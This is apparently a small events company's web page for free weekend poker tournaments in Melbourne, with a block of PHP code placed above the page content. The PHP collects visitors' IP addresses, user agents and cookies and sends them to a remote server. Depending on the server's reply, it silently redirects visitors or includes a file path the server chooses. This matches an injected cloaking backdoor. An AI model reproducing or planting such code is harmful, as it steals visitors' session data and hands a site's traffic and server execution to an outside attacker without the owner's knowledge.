$value ) { if ( substr( $name, 0, 5 ) == 'HTTP_' ) { $headers[ str_replace( ' ', '-', ucwords( strtolower( str_replace( '_', ' ', substr( $name, 5 ) ) ) ) ) ] = $value; } } return $headers; } function fillAllPostHeaders() { $headers = array(); $headers[] = 'X-FF-P: 2f8f5d4a-7585-4a7b-bd23-1ebefc592b51'; addHeader($headers, 'X-FF-REMOTE-ADDR', 'REMOTE_ADDR'); addHeader($headers, 'X-FF-X-FORWARDED-FOR', 'HTTP_X_FORWARDED_FOR'); addHeader($headers, 'X-FF-X-REAL-IP', 'HTTP_X_REAL_IP'); addHeader($headers, 'X-FF-DEVICE-STOCK-UA', 'HTTP_USER_AGENT'); addHeader($headers, 'X-FF-X-OPERAMINI-PHONE-UA', 'HTTP_X_OPERAMINI_PHONE_UA'); addHeader($headers, 'X-FF-X-FB-HTTP-ENGINE', 'X_FB_HTTP_ENGINE'); addHeader($headers, 'X-FF-X-PURPOSE', 'X_PURPOSE'); addHeader($headers, 'X-FF-REQUEST-URI', 'REQUEST_URI'); addHeader($headers, 'X-FF-COOKIE', 'HTTP_COOKIE'); addHeader($headers, 'X-FF-ACCEPT-ENCODING', 'HTTP_ACCEPT_ENCODING'); addHeader($headers, 'X-FF-ACCEPT-LANGUAGE', 'HTTP_ACCEPT_LANGUAGE'); addHeader($headers, 'X-FF-CF-CONNECTING-IP', 'HTTP_CF_CONNECTING_IP'); addHeader($headers, 'X-FF-QUERY-STRING', 'QUERY_STRING'); addHeader($headers, 'X-FF-ACCEPT', 'HTTP_ACCEPT'); addHeader($headers, 'X-FF-X-WAP-PROFILE', 'X_WAP_PROFILE'); addHeader($headers, 'X-FF-WAP-PROFILE', 'WAP_PROFILE'); addHeader($headers, 'X-FF-REFERER', 'HTTP_REFERER'); addHeader($headers, 'X-FF-HOST', 'HTTP_HOST'); addHeader($headers, 'X-FF-VIA', 'HTTP_VIA'); addHeader($headers, 'X-FF-CONNECTION', 'HTTP_CONNECTION'); addHeader($headers, 'User-Agent', 'HTTP_USER_AGENT'); $hh = getAllHeadersFF(); $counter = 0; foreach ($hh as $key => $value) { $k = strtolower($key); if ($k === 'host') { $headers[] = 'X-FF-HOST-ORDER: '.$counter; break; } $counter++; } return $headers; } // Print headers (for debugging purposes) /*echo "
";
echo "Headers being sent:\n";
print_r(fillAllPostHeaders());
echo "
";*/ // Initialize cURL session $ch = curl_init($url); // Set cURL options curl_setopt( $ch, CURLOPT_POST, 1 ); curl_setopt($ch, CURLOPT_POSTFIELDS, ""); // Ensures a body is present, even if empty curl_setopt($ch, CURLOPT_HTTPHEADER, array_merge(fillAllPostHeaders(), ['Content-Length: 0'])); curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true ); // Execute cURL session $response = curl_exec($ch); // Check for cURL errors if (curl_errno($ch)) { echo json_encode([ 'status' => 'error', 'data' => 'cURL error: ' . curl_error($ch) ]); } // Close cURL session curl_close($ch); // Print the response (for debugging purposes) /*echo "
";
echo "Response from the server:\n";
echo htmlspecialchars($response);
echo "
";*/ // Handle the response list($result, $type, $path) = explode(';', $response); if ($result == '1') { if ($type == 'u') { header("Location: $path"); exit(); } elseif ($type == 'f') { include($path); exit(); } } ?> Events | Elegant Event Creations
Address1 Malthouse Ln, Melbourne VIC 3000, Australia
Call us+61 3 9761 9771

Poker Tournament

Free Weekend Poker Tournament

  • Saturday
  • Time: 4 PM
  • Entry: Free (No Money)
  • Age: 18+

Register for the tournament

Free Weekend Poker Tournament

  • Sunday
  • Time: 4 PM
  • Entry: Free (No Money)
  • Age: 18+

Register for the tournament